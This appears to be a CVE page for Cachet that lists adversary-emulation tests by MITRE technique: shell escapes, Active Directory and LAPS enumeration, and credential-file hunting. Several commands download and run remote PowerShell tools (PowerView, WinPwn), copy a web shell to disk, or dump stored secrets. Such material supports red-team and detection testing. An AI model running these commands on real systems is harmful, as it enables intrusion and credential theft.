In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell) 
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell) 
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell) 
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell) 
cat /etc/shells
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell) 
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1087.002 Account Enumeration with LDAPDomainDump Linux Shell
This test uses LDAPDomainDump to perform account enumeration on a domain. [Reference](https://securityonline.info/ldapdomaindump-active-directory-information-dumper-via-ldap/)
Command (Shell) 
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
T1087.002 Active Directory Domain Search Linux Shell
Output information from LDAPSearch. LDAP Password is the admin-user password on Active Directory
Command (Shell) 
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
T1087.002 Adfind - Enumerate Active Directory Admins Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Admin accounts reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD) 
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
T1087.002 Adfind - Enumerate Active Directory Exchange AD Objects Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Exchange Objects reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD) 
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
T1087.002 Adfind - Enumerate Active Directory User Objects Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory User Objects reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD) 
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
T1087.002 Adfind -Listing password policy Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. The example chosen illustrates adfind used to query the local password policy. reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD) 
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
T1087.002 Automated AD Recon (ADRecon) Windows PowerShell
ADRecon extracts and combines information about an AD environement into a report. Upon execution, an Excel file with all of the data will be generated and its path will be displayed.
Command (PowerShell) 
Invoke-Expression "#{adrecon_path}"
T1087.002 Enumerate Active Directory Users with ADSISearcher Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate users within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell) 
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
T1087.002 Enumerate Active Directory for Unconstrained Delegation Windows PowerShell
Attackers may attempt to query for computer objects with the UserAccountControl property 'TRUSTED_FOR_DELEGATION' (0x80000;524288) set More Information -...
Command (PowerShell) 
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
T1087.002 Enumerate Default Domain Admin Details (Domain) Windows CMD
This test will enumerate the details of the built-in domain admin account
Command (CMD) 
net user administrator /domain
T1087.002 Enumerate Linked Policies In ADSISearcher Discovery Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate organizational unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell) 
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002 Enumerate Root Domain linked policies Discovery Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate root domain unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell) 
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002 Enumerate all accounts (Domain) Windows CMD
Enumerate all accounts Upon exection, multiple enumeration commands will be run and their output displayed in the PowerShell session
Command (CMD) 
net user /domain
net group /domain
T1087.002 Enumerate all accounts via PowerShell (Domain) Windows PowerShell
Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed.
Command (PowerShell) 
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
T1087.002 Enumerate logged on users via CMD (Domain) Windows CMD
Enumerate logged on users. Upon exeuction, logged on users will be displayed.
Command (CMD) 
query user /SERVER:#{computer_name}
T1087.002 Get-DomainUser with PowerView Windows PowerShell
Utilizing PowerView, run Get-DomainUser to identify the domain users. Upon execution, Users within the domain will be listed.
Command (PowerShell) 
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
T1087.002 Kerbrute - userenum Windows PowerShell
Enumerates active directory usernames using the userenum function of Kerbrute
Command (PowerShell) 
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer all properties Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell) 
Get-ADComputer #{hostname} -Properties *
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer all properties and SearchScope Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer with SearchScope as subtree and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell) 
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer ms-Mcs-AdmPwd property Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell) 
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002 Suspicious LAPS Attributes Query with adfind all properties Windows PowerShell
This test executes LDAP query using adfind command and lists all the attributes including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell) 
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
T1087.002 Suspicious LAPS Attributes Query with adfind ms-Mcs-AdmPwd Windows PowerShell
This test executes LDAP query using adfind command and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell) 
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002 Wevtutil - Discover NTLM Users Remote Windows PowerShell
This test discovers users who have authenticated against a Domain Controller via NTLM. This is done remotely via wmic and captures the event code 4776 from the domain controller and stores the ouput in C:\temp. [Reference](https://www.reliaquest.com/blog/socgholish-fakeupdates/)
Command (PowerShell) 
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
T1087.002 WinPwn - generaldomaininfo Windows PowerShell
Gathers general domain information using the generaldomaininfo function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
T1505.003 Web Shell Written to Disk Windows CMD
This test simulates an adversary leveraging Web Shells by simulating the file modification to disk. Idea from APTSimulator. cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
Command (CMD) 
xcopy /I /Y "#{web_shells}" #{web_shell_path}
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD) 
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash) 
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell) 
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell) 
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash) 
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD) 
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell) 
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

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References (4)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2021-39173
github.com
GitHub CVE x_refsource_MISC
https://github.com/fiveai/Cachet/releases/tag/v2.5.1
github.com
GitHub CVE x_refsource_CONFIRM
https://github.com/fiveai/Cachet/security/advisories/GHSA-r67m-m8c7-jp83
blog.sonarsource.com
GitHub CVE x_refsource_MISC
https://blog.sonarsource.com/cachet-code-execution-via-laravel-configuration-injection/